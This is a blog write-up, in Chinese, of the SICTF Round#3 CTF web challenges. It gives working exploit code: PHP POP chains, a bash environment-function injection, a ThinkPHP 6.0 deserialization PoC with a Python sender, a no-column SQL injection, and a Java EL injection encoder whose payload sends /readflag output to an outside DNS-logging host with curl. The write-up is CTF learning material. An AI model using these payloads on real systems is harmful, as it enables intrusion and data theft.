SICTF_Round#3

244次阅读
没有评论

SICTF_Round#3

Web

100%_upload

题目描述:小茂夫说:一直上传恶意文件尊嘟要生气了, 世事莫固守, 转变思路求突破
进入靶场后, 看到一个文件上传界面, 然后瞥了一眼 url, 嘶, 根据提示, 很明显不可能是文件上传题.
url:http://yuanshen.life:33247/index.php?file=upload.php
尝试伪协议, 发现 flag 和 index 都被过滤了无法获得 flag 和文件源码.
尝试了一会儿之后, 根据报错发现代码用的是 include 函数.
那么尝试包含日志文件?
首先试试http://yuanshen.life:33247/index.php?file=/var/log/nginx/access.log
发现可以读取日志文件.okk, 那么直接抓包改 UA 读 flag.
SICTF_Round#3

Not just unserialize

题目的 pop 链很容易就构造, 绕过此处的正则匹配可以通过换行符 \n 绕过.
链子如下:

<?php

highlight_file(__FILE__);
class start
{
    public $welcome;
    public $you;
    public function __destruct()
    {$this->begin0fweb();
    }
    public  function begin0fweb()
    {
        $p='hacker!';
        $this->welcome->you = $p;
    }
}

class SE{
    public $year;
    public function __set($name, $value){
        echo '  Welcome to new year!  ';
        echo($this->year);
    }
}

class CR {
    public $last;
    public $newyear="'\n'worries%0a";

    public function __tostring() {if (is_array($this->newyear)) {
            echo 'nonono';
            return false;
        }
        if (!preg_match('/worries/i',$this->newyear))
        {
            echo "empty it!";
            return 0;
        }

        if(preg_match('/^.*(worries).*$/',$this->newyear)) {echo 'Don\'t be worry';} else {
            echo 'Worries doesn\'t exists in the new year  ';
            empty($this->last->worries);
        }
        return false;
    }
}

class ET{public function __isset($name)
    {foreach ($_GET['get'] as $inject => $rce){putenv("{$inject}={$rce}");
        }
        system("echo \"Haven't you get the secret?\"");
    }
}
if(isset($_REQUEST['go'])){unserialize(base64_decode($_REQUEST['go']));
}

$go=new start();
$go->welcome=new SE();
$go->welcome->year=new CR();
$go->welcome->year->last=new ET();
echo base64_encode(serialize($go))
?>

接下来就是准备进行 rce 了.
重点代码在这里:

foreach ($_GET['get'] as $inject => $rce){putenv("{$inject}={$rce}");
        }

一开始还以为是破壳漏洞ShellShock(CVE-2014-6271)
结果试了好多次还是不行, 然后出题的师傅提示了我一下:思路对但不是这个漏洞.
然后我就开始寻找, 终于最后在 P 神的文章 这里找到了办法
https://www.leavesongs.com/PENETRATION/how-I-hack-bash-through-environment-injection.html

跟破壳漏洞很像, 具体的原理可以仔细研究研究 p 神的文章, 这里直接用 payload 打就行了.
payload: ?get[BASH_FUNC_echo%25%25]=() { ls / >> /var/www/html/flag.txt;}
然后访问 flag.txt 即可
SICTF_Round#3
SICTF_Round#3

EZ_SSRF

一个反序列化. 根据题目提示是需要我们进行 SSRF. 对此漏洞的更多详细细节还得再去学习一下.
先来看题.
题目与 CTFShow 中 Web_351 近似, 没有任何过滤, 直接改 url 打就行.
提示我们还有其他文件, 那肯定是flag.php

<?php
class client{
    public $url;
    public $payload;
    public function __construct()
    {
        $url = "http://127.0.0.1/";
        $payload = "system(\"cat /flag\");";
        echo "Exploit";
    }
    public function __destruct()
    {get($this->url);
    }
}
// hint:hide other file
$Harder=new client();
$Harder->url="file:///var/www/html/flag.php";
echo serialize(($Harder));

将反序列化出来的 payload 传参进去, 得到的字符串 base64 解码即可.
SICTF_Round#3

Oyst3rPHP

一进页面啥也没有. 抓包查看后依然没有思路.
果断 dirserach 扫一扫. 然后扫到了www.zip
SICTF_Round#3
下载下来发现是 thinkphp 框架的源码, 然后找到 index.php
SICTF_Round#3
先看前面的 waf. 老生常谈的 MD5 和正则匹配的绕过.
md5 绕过 : left=s155964671a&right=s214587387a
正则匹配的绕过可以参考 CTFShow 的 Web131. 知识点是PCRE 回溯次数限制
写脚本跑就行.
然后到了最后一步, 发现存在反序列化的起始点. 又提示我们是细狗函数(析构函数).
网上找找有没有 thinkphp6.0 相关的漏洞.
然后找到了一篇文章, 写反序列化漏洞的. 具体的漏洞分析可以看文章, 写的很详细了, 这里我们直接用 poc 打就行了
https://blog.csdn.net/weixin_45794666/article/details/123237118
当然这里出题人也给出了 flag 文件在哪以及文件名称.
SICTF_Round#3
本题的 poc:

<?php
 namespace think\model\concern;
 trait Attribute
 {private $data = ["key"=>"cat /Oyst3333333r.php"];
     private $withAttr = ["key"=>"system"];
 }
 namespace think;
 abstract class Model
 {
     use model\concern\Attribute;
     private $lazySave = true;
     protected $withEvent = false;
     private $exists = true;
     private $force = true;
     protected $name;
     public function __construct($obj=""){$this->name=$obj;}
 }
 namespace think\model;
 use think\Model;
 class Pivot extends Model
 {}
 $a=new Pivot();
 $b=new Pivot($a);
 echo base64_encode(serialize($b));

最终的脚本:

import requests
url="http://yuanshen.life:37251/?left=s155964671a&right=s214587387a"
data={
'key':'very'*250000+'603THINKPHP',
'payload':'TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjc6e3M6MjE6IgB0aGlua1xNb2RlbABsYXp5U2F2ZSI7YjoxO3M6MTI6IgAqAHdpdGhFdmVudCI7YjowO3M6MTk6IgB0aGlua1xNb2RlbABleGlzdHMiO2I6MTtzOjE4OiIAdGhpbmtcTW9kZWwAZm9yY2UiO2I6MTtzOjc6IgAqAG5hbWUiO086MTc6InRoaW5rXG1vZGVsXFBpdm90Ijo3OntzOjIxOiIAdGhpbmtcTW9kZWwAbGF6eVNhdmUiO2I6MTtzOjEyOiIAKgB3aXRoRXZlbnQiO2I6MDtzOjE5OiIAdGhpbmtcTW9kZWwAZXhpc3RzIjtiOjE7czoxODoiAHRoaW5rXE1vZGVsAGZvcmNlIjtiOjE7czo3OiIAKgBuYW1lIjtzOjA6IiI7czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJrZXkiO3M6MjE6ImNhdCAvT3lzdDMzMzMzMzNyLnBocCI7fXM6MjE6IgB0aGlua1xNb2RlbAB3aXRoQXR0ciI7YToxOntzOjM6ImtleSI7czo2OiJzeXN0ZW0iO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJrZXkiO3M6MjE6ImNhdCAvT3lzdDMzMzMzMzNyLnBocCI7fXM6MjE6IgB0aGlua1xNb2RlbAB3aXRoQXR0ciI7YToxOntzOjM6ImtleSI7czo2OiJzeXN0ZW0iO319'}
r=requests.post(url,data=data)
print(r.text)

结果:
SICTF_Round#3

hacker

一个 sql 注入
首先看源码. 得到提示 flag 在 /flag 里
SICTF_Round#3
尝试过后, 发现过滤了空格和 or
过滤了 or 之后就会发现 information 不能用了, 导致常规的注入手段失效.
?username=flag%27union/**/select/**/1%23
用这种方式发现只查到一个列. 由于 information 不能用了, 所以导致虽然能用 sys.schema_auto_increment_columns、sys.schema_table_statistics_with_buffer、mysql.innodb_table_stats 等绕过, 但没法进行查列名, 所以此处就开始无列名注入.
无列名的具体原理可以参考文章
SQL 注入之无列名注入
这里由于知道了表名是 flag 所以直接构造 payload 直接查就完了.
username=flag'union/**/select/**/(select/**/group_concat(2)/**/from/**/(select/**/1,2/**/union/**/select*from/**/flag)n)%23
SICTF_Round#3

[进阶]elInjection

做了一下午都没搞出来, 赛后看了 wp 才知道就差一步了. 由于脑子转不过来了导致最后放弃了.
我这个憨批
首先题目给了一个 jar 包
我们拿来进行反编译.
SICTF_Round#3
知道题目过滤了好多东西, 然后下面的 java 代码是求 EL 表达式的值.
之后找到了几篇文章
浅析 EL 表达式注入漏洞
Java EL(Expression Language)表达式注入

阅读两篇文章了解到, 可以通过 charAttoChars获取字符, 在由 toString 转字符串再用 concat 拼接来绕过一些敏感字符的过滤.
文章也给出了脚本

#coding: utf-8
def encode(payload):
    encode_payload = ""
    for i in range(0, len(payload)):
        if i == 0:
            encode_payload += "true.toString().charAt(0).toChars(%d)[0].toString()" % ord(payload[0])
        else:
            encode_payload += ".concat(true.toString().charAt(0).toChars(%d)[0] toString())" % ord(payload[i])
    return encode_payload

exp = '${pageContext.setAttribute(%s,"".getClass().forName(%s).getMethod(%s,"".getClass()).invoke("".getClass().forName(%s).getMethod(%s).invoke(null),%s))}' % (encode('a'),encode('java.lang.Runtime'),encode('exec'),encode('java.lang.Runtime'),encode('getRuntime'),encode('open -a Calculator.app'))
print(exp)

昨天在这里卡了好久, 以为只要随便改个 %s, 然后把字符串编码就行. 没想到不是, 这样有的不久没法执行了吗, 所以还是要注意双引号的问题, 把双引号里的函数进行编码就行了.
紧接着就是 payload 的构造, 题目不出网, 但是可以用 DNS 带出.
所以 payload 就是
curl whoami.kbqsag.ceye.io
一开始傻傻的直接那这个编码去打了, 一直打不通苦恼了好久. 结果是因为 java 不支持反引号直接执行命令. 所以这里直接用反引号就会导致一直打不通. 那么怎么办呢, 利用 base64 编码绕过就行了.
"bash -c {echo,"+base64.b64encode(cmd).decode()+"}|{base64,-d}|{bash,-i}")")
把 payload 进行上面的加密操作然后打就可以了.

原理是:
将给定的命令 cmd 进行 base64 编码.
使用 Bash echo 命令将 base64 编码后的命令输出.
将输出通过管道传递给 base64 -d 命令, 进行 base64 解码.
最后, 将解码后的命令通过管道传递给另一个 Bash shell, 使用 -i 参数表示交互式执行.

最后根据出题人放的提示:
利用 ScriptEngine
flag 没有权限读取, 执行 /readflag 获取
即原本编码前 payload 为
${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('calc')")}
把过滤后的关键词编码的脚本为

import requests
import base64

def encode(payload):
    encode_payload = ""
    for i in range(0, len(payload)):
        if i == 0:
            encode_payload += "true.toString().charAt(0).toChars(%d)[0].toString()" % ord(payload[0])
        else:
            encode_payload += ".concat(true.toString().charAt(0).toChars(%d)[0].toString())" % ord(payload[i])
    return encode_payload

# 这里填命令
cmd = b"curl `/readflag`.1bc0xn08.requestrepo.com"

#print(base64.b64encode(cmd))

exp = '${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(%s)}' % (encode("java.lang.Runtime.getRuntime().exec(\"bash -c {echo,"+base64.b64encode(cmd).decode()+"}|{base64,-d}|{bash,-i}\")"))
print(exp)

SICTF_Round#3

最后的 cc 链的题由于没学过又很难所以就不复现了, 还是得有空学学 java 安全啊!

正文完
 
haxo
版权声明:本站原创文章,由 haxo 2024-02-19发表,共计7080字。
转载说明:除特殊说明外本站文章皆由CC-4.0协议发布,转载请注明出处。
最新评论
emoji emoji 写得好啊
评论(没有评论)